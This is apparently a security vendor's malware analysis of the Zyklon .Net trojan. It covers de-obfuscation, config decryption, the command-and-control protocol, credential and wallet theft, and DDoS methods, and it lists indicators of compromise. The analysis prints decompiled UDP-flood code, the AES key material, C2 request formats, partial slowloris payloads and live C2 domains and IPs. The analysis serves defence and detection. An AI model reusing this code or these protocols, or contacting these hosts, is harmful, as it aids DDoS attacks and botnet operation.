

Zyklon Season

This brief post shares some recent findings regarding the workings of the Zyklon H.T.T.P. malware family [1]. Zyklon (German for “cyclone”) is a large, multi-purpose trojan that includes support for a variety of malicious activities, including several different forms of DDoS attack, key logging and credential theft, SOCKS proxying, executing arbitrary code, etc.

The malcode is written in Visual Basic using the .Net framework. Most samples are heavily obfuscated using various versions of the Confuser [2] or ConfuserEx [3] .Net obfuscators.

Code De-Obfuscation

One of the obstacles presented by this malware is that its code is heavily obfuscated, usually by either Confuser or ConfuserEx. Since Zyklon is written using the .Net framework, decompilation of binary bots can be performed using the ICSharpCode [4] library. However, the resulting re-generated C# code will still be a far cry from the original VisualBasic equivalent source due to, among other things, code flow obfuscation performed by Confuser.

As an example, consider the following regenerated implementation of a `method_0()` decompiled from a typical obfuscated Zyklon bot:

```
public void method_0()
{
    UdpClient udpClient = new UdpClient();
    while (true)
    {
        IL_06:
        uint arg_10_0 = 3309455298u;
        while (true)
        {
            IL_0B:
            uint num;
```

```
switch ((num = (arg_10_0 ^ 4089802105u)) % 6u)
{
case 0u:
{
    IPAddress ipAddress = IPAddress.Parse(this.string_0);
    Guid guid = Guid.NewGuid();
    arg_10_0 = (num * 894510878u ^ 1532449705u);
    continue;
}
case 1u:
    arg_10_0 = (num * 2263699887u ^ 3740344308u);
    continue;
case 3u:
    while (this.bool_0)
    {
        try
        {
            byte[] array = new byte[45001];
            Random random;
            random.NextBytes(array);
            IPAddress ipAddress;
            udpClient.Connect(ipAddress, this.int_0);
            udpClient.Send(array, array.Length);
            continue;
        }
        catch (Exception expr_8D)
        {
            ProjectData.SetProjectError(expr_8D);
            while (true)
            {
                IL_C7:
                uint arg_9B_0 = 3061825176u;
                while (true)
                {
                    switch ((num = (arg_9B_0 ^ 4089802105u)) % 3u)
                    {
case 1u:
                    ProjectData.ClearProjectError();
                    arg_9B_0 = (num * 4207727214u ^ 1192378503u);
                    continue;
case 2u:
                    goto IL_C7;
}
                    goto Block_5;
}
                }
            }
        }
    }
    Block_5:
    continue;
}
IL_D0:
arg_10_0 = 4084279625u;
goto IL_0B;
}
goto IL_D0;
case 4u:
{
```

```

        Guid guid;
        Random random = new Random(guid.GetHashCode());
        arg_10_0 = (num * 3134410520u ^ 651156456u);
        continue;
    }
    case 5u:
        goto IL_06;
    }
    return;
}
}
}

```

The original sequence of operations has been re-ordered, and the control flow confused, by the use of finite state machines (FSMs) implemented by `switch` statements. The substantive instructions are scattered amongst various `case` statements, and at run-time, the order in which they are executed is controlled by the dynamic values of superfluous FSM state variables such as `arg_10_0` and `num`.

The above snippet is a relatively painless example, but many other code blocks contain dozens of `case` statements and multiple layers of `switch`-based FSMs, intermingled with substantive control flow constructs such as `while`, `for`, and `if/else` statements. In many cases, it is straightforward to automatically de-scramble this obfuscation technique by detecting substantive instructions vs. FSM-specific instructions, emulating the FSM to determine the sequence of state transitions (and thus the order in which case statements are executed), stitching together the substantive instructions in the correct order, and deleting the FSM-specific cruft. In other cases, this basic de-Confuser-ization method requires a bit of manual assistance in the form of “hints”.

As an example, the actual control flow of the above `method_0()`, sans obfuscation, looks something like the following:

```

public void method_0()
{
    UdpClient udpClient = new UdpClient();
    IPAddress ipAddress = IPAddress.Parse(this.string_0);
    Random random = new Random(Guid.NewGuid().GetHashCode());
    while (this.bool_0)
    {
        try
        {
            byte[] array = new byte[45001];
            random.NextBytes(array);
            udpClient.Connect(ipAddress, this.int_0); // Port
            udpClient.Send(array, array.Length);
        }
        catch (Exception expr_8D)
        {
            ProjectData.SetProjectError(expr_8D);
            ProjectData.ClearProjectError();
        }
    }
}

```

Bot Configuration

The operation of any given Zyklon bot is governed by a set of parameters organized into a configuration structure, which is stored, in encrypted form, as a binary resource. Upon execution, the bot will instantiate a **ResourceManager** that will locate and retrieve a resource named (appropriately enough) “**config**” from a binary resource file “**data**” embedded within the executing .Net assembly. The raw bytes of this “**config**” resource are decrypted and then decompressed to yield the plain text configuration block.

As a representative example, the raw encrypted bytes of a Zyklon sample with MD5 hash d14c00027097a24dbf6e05b8271f7a04 are shown in Figure 1 below. Due to the highly obfuscated nature of most Zyklon bots, one of the easiest methods to extract the actual config resource bytes is to first obtain a memory dump of a running Zyklon bot during sandboxing, and then search for embedded binary resources within the Zyklon process address space; the header blocks for such embedded resources are marked with the telltale 32- byte magic number 0xBEEFCACE (see Figure 1):

Figure 1. Encrypted resource “config” located within “data” binary resource file

The format of embedded binary resources is more-or-less documented by the open-sourced implementation of the .Net ResourceManager class [5, 6]; it is thus straightforward to extract the raw bytes of the config resource.

The actual plaintext configuration content is compressed using GZip, and then encrypted using AES in ECB mode, prior to being stored in the config resource. The 256-bit AES key is constructed using an ASCII string of key material hard-coded into the Zyklon bot; every one of the 60+ Zyklon samples that we have analyzed to date has used the same 10-character key material string: Z2KWB34VBR

The Zyklon bot computes the MD5 hash of this key material, yielding the following 16 bytes:

```
75 ad 1f d9 0d 4e 8b b4 30 40 b0 c2 f2 db fe ed
```

The Zyklon bot then generates a 256-bit AES key from these 16 bytes by performing a modified concatenation: instead of simply concatenating two copies of the 16-byte MD5 hash to yield 256 bits, it allocates and zeros out a 32-byte buffer and writes the first copy of the MD5 hash into bytes 0 through 15 of this buffer. Then it writes the 16-byte MD5 hash into bytes 15 through 30 (not 16 through 31) - thus the first (0x75) byte in the second copy of the MD5 hash ends up overwriting the last (0xed) byte in first copy of the MD5 hash - and the last 8 bits of the AES key are always zero:

```
75 ad 1f d9 0d 4e 8b b4 30 40 b0 c2 f2 db fe 75  
ad 1f d9 0d 4e 8b b4 30 40 b0 c2 f2 db fe ed 00
```

It is not clear if this is a bug or intentional.

Using this key, the config resource can be decrypted, yielding a GZip-compressed buffer. Upon decompression, we obtain a CRLF (carriage return + line feed) delimited block of configuration text:

```
url=http://barkliaytire.com  
url=http://distriegroupelectric.com  
url=http://extreime-net.com  
startup=false  
startup_name=bskbyhrijb  
installer=false  
install_name=yvaxkbpwhk.exe  
install_directory=ApplicationData  
melt=false  
set_critical_process=false  
watchdog=false  
file_persistence=false  
startup_persistence=false  
debug=false  
tord=false  
tor=false  
mutex_main_module=vCMbkDwWoP  
mutex_persistence_module=OaARPHvAfJ  
mutex_uninstall=MmBDBjbqaP
```

Figure 2. Decrypted config block for Zyklon d14c00027097a24dbf6e05b8271f7a04

Most of the Zyklon configuration parameters are fairly self-explanatory. Of particular interest are the url= lines, which define one or more Zyklon CnC (command & control) URLs. Also of great interest is the tor= parameter, which specifies whether or not the Zyklon botnet's CnC(s) are implemented as Tor hidden servers (in which case the CnCs will be .onion domains.) Here is a representative

example of a Tor-based Zyklon botnet's configuration block:

```
url=http://a2nsbd6q2d6737wq.onion
startup=true
startup_name=txid
installer=true
install_name=txid.exe
install_directory=ApplicationData
melt=true
set_critical_process=false
watchdog=true
file_persistence=true
startup_persistence=true
debug=false
tord=false
tor=true
mutex_main_module=ksBqGoASHh
mutex_persistence_module=mFAEUMudMb
mutex_uninstall=cARyviAAUE
```

Figure 3. Decrypted config block for Zyklon a9285f4bf6e18174222ffd9705635b83

In the case of Tor-controlled Zyklon botnets, the embedded “data” resource file will also contain a resource named “tor”. This is also a GZip-compressed and AES encrypted block of data, and it uses the same mechanism as the “config” resource for generating a 256-bit AES key from key material; however, it uses a different key material string: Xef3bszY6E.

After decryption and decompression, the “tor” resource is found to contain a UPX-packed version of the Tor client software `tor.exe`, version 0.2.4.9-alpha. In all of the Tor-controlled Zyklon samples we have analyzed to date, this identical version of Tor is embedded. For Zyklon samples whose config specifies `tor=false`, the “tor” resource is not present.

In addition to the CnC infrastructure, the configuration blocks also specify additional operational parameters of the Zyklon bot some of which may be useful as host-based indicators. For example, the Mutex names used by the main Zyklon module and its persistence module are specified (ksBqGoASHh and mFAEUMudMb, respectively, the sample associated with Figure 3.)

Similarly, the configuration file specifies the persistent path to the installed bot binary, which, in the case of Figure 3, is `C:\Documents and Settings\%USERNAME%\Application Data\txid.exe` on a Windows XP infectee, or `C:\Users\%USERNAME%\AppData\txid.exe` on a more modern Windows OS.

Command & Control Communications

The Zyklon bot initiates its phone home process by sending an HTTP POST request to its CnC URL; it forms the CnC URL by taking the first url configuration parameter and appending the hard-coded suffix `gate.php`. In the case of the example Zyklon bot with configuration displayed in Figure 2, this yields:

`http://barkliaytire.com/gate.php`

The data that is POSTed in this initial phone home request is the following hard-coded string:

`getkey=y`

This POST request is sent using the .Net framework's `HttpWebRequest` class. The Zyklon bot will explicitly set the User-Agent property of the HTTP request to a random user agent chosen from a hard-coded list of 201 possible user agents; these strings are hard-coded in the form of a resource named "agents". The complete list of User-Agent strings that we have observed to date is provided in Appendix I.

```
POST /gate.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/6.04 (Windows 98; U) [en-GB]
Host: client-panel.ru
Content-Length: 8
Expect: 100-continue
Connection: Keep-Alive

getkey=y
```

Upon receipt of this initial phone home request, the Zyklon CnC will respond with an RSA public key in the form of an X509 certificate encoded using base64. As one might expect, in general each Zyklon CnC is configured to use a different public key.

```

-----END CERTIFICATE-----

The Zyklon bot will store its CnC's public key, and then generate a random 256-bit AES key and a random 128-bit initialization vector (IV); Zyklon uses the .Net framework's `System.Security.Cryptography.RijndaelManaged` class as its AES implementation. The bot will then report its AES key and IV to its CnC, as well as a "Session ID" parameter (which is hard-coded to the string "127.0.0.1".) It does this in the form of a second POST request in which the POSTed data consists of the following three name-value pairs: `key`, `iv`, and `id`. Each of these three values are first encrypted using the CnC's public key, and then encoded using a variation of standard base64 in which the "+" and "/" codes are replaced with "-" and "_", respectively:

```
POST /gate.php HTTP/1.1

```

The CnC will respond with the message "AES OK", which will be encrypted using the bot's AES key and IV, and then encoded using the modification of base64 described above. This completes the process by which a bot and CnC establish a secure communications channel.

Note that, for Zyklon botnets built to use Tor hidden servers as CnCs, all of the above communications are proxied through the Tor network, and thus are protected by TLS encryption.

After successfully establishing a secure connection, the Zyklon bot will communicate with its CnC using a simple protocol that is comprised of the following set of requests codes:

Request	Meaning
sign	
settings	Request settings from CnC
logs	Upload stolen passwords
wallet	Upload stolen cryptocurrency wallets

<code>error</code>	Used to report errors and exceptions to the CnC
<code>proxy</code>	Report SOCKS proxy port has been opened
<code>miner</code>	Acknowledge receipt of mining commands
<code>ddos</code>	Acknowledge receipt of DDoS attack commands
<code>keylog_filter</code>	Request CnC for keylogging filters to be used

When the Zyklon bot wants to make one of these requests, it sends a message of the following form to the CnC:

```
data=request|request_parameters
```

where `data=` is in the clear, and the request code and request parameters (if any) are encrypted with AES and encoded with modified base64. For example:

```
POST /gate.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/6.04 (Windows 98; U) [en-GB]
Host: client-panel.ru
Cookie: PHPSESSID=r291ctp65jmjjss64d24c4kcsj1
Content-Length: 29
Expect: 100-continue
```

```
data=79TQlb6-xyJu80t0wioo6w==
```

When requesting a `settings` update, the CnC will respond with an AES encrypted message containing one or more of the following settings values, delimited by the pipe (“|”) character:

Settings code	Settings Type	Meaning
CI	Boolean	Enable cloud inspection of malware (<i>not implemented</i>)
KT	Interval	Knock time interval (in minutes) between phone homes
UAC	Boolean	Enable UAC (<i>not implemented</i>)
ER	Boolean	Enable reporting of errors from bot to CnC
UPNP	Boolean	Use UPnP to configure NAT router for port forwarding of specified SOCKS port
RP	Boolean	Master password recovery flag
RW	Boolean	Enable exfiltration of <code>wallet.dat</code> files
PS	Boolean	Periodically reset system's idle timer to prevent infected system from entering standby mode
AK	Boolean	Enable Antivirus killer (<i>not implemented</i>)

PURL	String	Specify relative base URI for downloading plugins
MPURL	String	Specify relative base URI for downloading miner plugins
VTAPI	String	Specify VirusTotal API key
EX	String	Specify hashes of files to be ignored by BotKiller
BK_CYCLE	Integer	Specify BotKiller interval (minutes)
BK_RUN_ONCE	Boolean	Enable one-time BotKiller run
S5	Boolean	Enable built-in SOCKS proxy
SOCKS_AUTH	Boolean	Enable SOCKS Authentication
SOCKS_PORT	Integer	Specify SOCKS port
SOCKS_USERNAME	String	SOCKS username (if authentication enabled)
SOCKS_PASSWORD	String	SOCKS password (if authentication enabled)
EKL	Boolean	Enable key logger
KLI	Integer	Key logger interval (minutes)
KLM	Integer	Max. key logging characters
KLF	Boolean	Enable key logging filter (actual filters supplied by CnC in response to a <code>keylog_filter</code> request from bot)
WC	Boolean	Enable wallet changer, which stealthily replaces bitcoin addresses found in clipboard text with specified Bitcoin address
BA	String	Specify Bitcoin address for wallet changer functionality
LA	String	Specify Litecoin address (<i>not implemented</i>)
BR	Boolean	Recover browser passwords (requires plugin)
FTR	Boolean	Recover FTP passwords (requires plugin)
EMR	Boolean	Recover email passwords (requires plugin)
SFR	Boolean	Recover software passwords (requires plugin)
GR	Boolean	Recover game passwords (requires plugin)

The `logs` request code is used when the Zyklon bot uploads password logs to its CnC. In the case of browser logs, the Zyklon bot will upload the website, username, password, and browser whence the credentials were stolen by the browser plugin; the plugin itself writes this information in raw form into a file named `file.txt` residing within the Zyklon installation directory, which is then parsed by the core Zyklon module and uploaded.

The uploaded logs may be one of five types: `browser`, `email`, `ftp`, `software`, and `games`. The logs are submitted using AES encrypted messages containing the logs request keyword, the log type, the stolen password log content itself, and the Zyklon bot's hardware ID, all delimited using the pipe ("|") character, as is Zyklon's custom. The hardware ID is apparently intended to be a unique string that is generated using material from various serial numbers collected from the infected system.

Similarly, the `wallet` request is used by the Zyklon bot to upload stolen crypto-currency wallets. When the RW settings is enabled, the bot will scan the infected system for any files with names that contain the substring `wallet.dat`; for each such file, a `wallet` request will be sent to the CnC, with pipe-delimited arguments consisting of the hardware ID, the directory whence the wallet file was stolen, and MD5 hash of the wallet's contents, the size of the wallet file (in KB), and the actual base64-encoded contents of the wallet. As with all of Zyklon's messages to its CnC, the entire pipe-delimited sequence will be AES encrypted, base64-encoded, and uploaded as the value of the `data` POST parameter.

Plugin Name	Plugin Filename
<code>browser</code>	<code>br.dat</code>
<code>email</code>	<code>el.dat</code>
<code>ftp</code>	<code>ftp.dat</code>
<code>software</code>	<code>sf.dat</code>
<code>games</code>	<code>ge.dat</code>
<code>cuda</code>	<code>cda.dat</code>
<code>minerd</code>	<code>mrd.dat</code>
<code>sgminer</code>	<code>sgm.dat</code>

DDoS Functionality

Zyklon responds to eight different DDoS command codes, as shown in Table 1. Five of these attack methods represent some form of HTTP flood, while the remaining three are lower level packet floods.

Code	DDoS Attack Command
8	Bandwidth Exhaustion
12	HTTP POST Flood
13	HTTP GET Flood
14	UDP Flood
15	TCP Flood
16	Super SYN Flood
17	Slowloris
18	ARME

Table 1. Zyklon DDoS Attack Commands

In the case of the “Bandwidth Exhaustion”, POST, and GET floods, the Zyklon bot uses the .Net framework's `System.Net.WebClient` class. In particular, the “Bandwidth Exhaustion” and GET floods are almost identical, and use the `DownloadData()` and `DownloadString()` methods, respectively, to flood the target URL with GET requests. These GET requests will follow 302 redirections from the target web server.

In the case of the POST flood, the `UploadString()` method will be used; the actual data that is POSTed to the target server is dynamic and specified by the CnC at attack time. The Zyklon bot supports a wildcard functionality in which any percent (“%”) characters in the specified POST data will be replaced at attack time with a string of 10 randomly-generated characters drawn from the set of upper and lower case letters and the ten digits.

In the case of the UDP flood attack, the Zyklon bot will use the `System.Net.Sockets.UdpClient` class to emit a flood of UDP packets at the target, specified by IP address and UDP port. These packets take the form of datagrams containing 45,001 randomly-generated byte values each. Despite the use of the UDP protocol in this attack, the source IP addresses are not spoofed.

Similarly, the TCP flood attack uses the `System.Net.Sockets.Socket` class; it first establishes a three-way TCP handshakes with the target server (again, specified by host and port), and then operates in a tight loop in which it sends a sequence of data payloads consisting of 3000 randomly generated bytes.

The “Super SYN” flood is a TCP connection flood in which the Zyklon bot attempts to establish 200 simultaneous TCP connections with the target host (always against port 80), sleeps for 100 milliseconds, closes all 200 sockets - and then repeats the process for the duration of the attack. No actual payload data is sent; the `System.Net.Sockets.Socket` class is actually used to implement the attack.

The last two attack types, “Slowloris” and “ARME”, are flawed implementations of the well-known slowloris [7] and ARME (Apache Remote Memory Exhaustion) [8] higher-level DDoS attacks. In the case of Zyklon’s “Slowloris” attack, the bot will once again use the `System.Net.Sockets.Socket` class to establish 100 open socket connections with the target host and port; it will then send the following TCP payload data that corresponds to a partial HTTP POST request:

```
POST / HTTP/1.1
Host: $TARGET_HOST
Content-length: 5235
```

In a correctly-implemented slowloris attack, this partial POST request would then be followed by a very long sequence of actual POSTed data bytes, dribbled out by the attacker one byte at a time, with relatively long delays (several seconds or more) between each such individual byte. However, the Zyklon bot will instead just close all 100 open TCP sockets and repeat the process for the duration of the attack.

Likewise, the Zyklon bots’ “ARME” attack is almost identical to its “Slowloris” attack in that it again establishes 100 socket connections, and then sends the following HEAD request on each such socket:

```
HEAD / HTTP/1.1
Host: $TARGET_HOST
Content-length: 5235
```

In a correctly-implemented ARME attack, the HEAD request would contain a maliciously crafted `Range`: header designed to overwhelm the web server; but Zyklon does not include such a header, and in fact immediately closes each of the open socket connections after sending the above HEAD request.

Infrastructure

Approximately half of the Zyklon CnCs we have observed to date are configured as Tor hidden servers, whereas the other half are traditional HTTP servers. The Tor-hosted CnCs are listed below:

```
hxxp://ratabotcc2on3lia.onion  
hxxp://a2nsbd6q2d6737wq.onion  
hxxp://mister2egxwumny6.onion  
hxxp://fuckciacy2sqtuqv.onion  
hxxp://oamnohndpiwpicgm.onion/zyk  
hxxp://wauzqb2aeui46yok.onion  
hxxp://misternw3isvby3y.onion  
hxxp://misterjdu66o4ohj.onion  
hxxp://fuckfbiienozuq26.onion
```

Note the surprising frequency of “vanity” .onion domains; i.e., .onion domains that start with an actual intelligible word or snippet. Generating such domains requires non-trivial computing resources and, as such, imposes an unnecessary cost for no tangible benefit to the botnet operator. Since these Zyklon CnCs are hosted within the Tor network, their actual IP address, geographic location, etc. are not observable.

On the other hand, the traditional Zyklon CnCs we have observed are being hosted as follows:

Domain	IP Address	Location
kamkaro.info	155.133.64.224	Poland
185.117.72.204	185.117.72.204	Amsterdam
digisom.pw	68.65.122.94	Los Angeles
distriegroupelectric.com	191.252.134.38	Brazil
client-panel.ru	185.165.29.30	Iran
denden.us	192.99.2.94	Montreal
185.183.98.20	185.183.98.20	Amsterdam
presentsgift.xyz	190.123.45.112	Panama
fmcigoman.com	191.252.137.79	Brazil
lrfgyfd47it48r.xyz	190.123.45.112	Panama

Conclusion

Zyklon is another example of reasonably advanced malware written using the .Net framework. While flawed in many ways, such as the broken implementations of its slowloris and ARME DDoS attacks, it is fairly feature-rich and sophisticated. In particular, it uses a secure CnC communications mechanism, and in the case of the Tor-enabled versions, uses a resilient CnC infrastructure built using Tor hidden servers.

ASERT will continue to monitor the evolution of Zyklon providing indicators via our ATLAS Intelligence Feed (AIF).
